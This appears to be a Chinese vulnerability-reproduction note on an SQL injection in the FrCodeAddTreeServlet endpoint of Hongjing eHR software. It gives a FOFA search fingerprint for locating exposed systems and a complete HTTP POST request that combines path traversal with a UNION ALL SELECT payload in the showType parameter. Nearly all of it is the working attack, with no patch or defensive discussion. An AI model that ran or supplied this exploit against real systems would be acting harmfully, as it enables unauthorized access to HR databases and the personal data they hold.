宏景-eHR-frcodeaddtreeservlet接口存在SQL注入

指纹特征

FOFA：icon_hash="947874108" || body='

漏洞复现

POST /templates/attestation/../../servlet/FrCodeAddTreeServlet HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:122.0) Gecko/20100101 Firefox/122.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 154

params=&issuperuser=&parentid=&privType=&manageprive=&action=&target=&showType=1' UNION ALL SELECT user,NULL,NULL,NULL,NULL,NULL-- fNwL&treetype=&orgtype=